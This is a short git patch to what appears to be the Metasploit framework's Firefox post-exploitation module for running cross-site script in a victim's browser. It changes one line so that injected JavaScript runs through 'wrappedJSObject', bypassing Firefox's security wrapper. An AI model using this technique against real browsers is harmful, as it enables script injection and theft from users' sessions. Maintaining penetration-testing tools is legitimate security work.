From f78ec1eeb2b0a067c66790c5970dd2c36120e123 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sun, 12 Jan 2014 10:46:23 -0600 Subject: [PATCH] Make sure we unwrap the SecurityWrapper. --- modules/post/firefox/gather/xss.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/firefox/gather/xss.rb b/modules/post/firefox/gather/xss.rb index 993d3291b6..51d8714120 100644 --- a/modules/post/firefox/gather/xss.rb +++ b/modules/post/firefox/gather/xss.rb @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Post } else { setTimeout(function(){ try { - send(hiddenWindow.Function('send', src)(send)); + send(hiddenWindow.wrappedJSObject.Function('send', src)(send)); } catch (e) { send("Error: "+e.message); }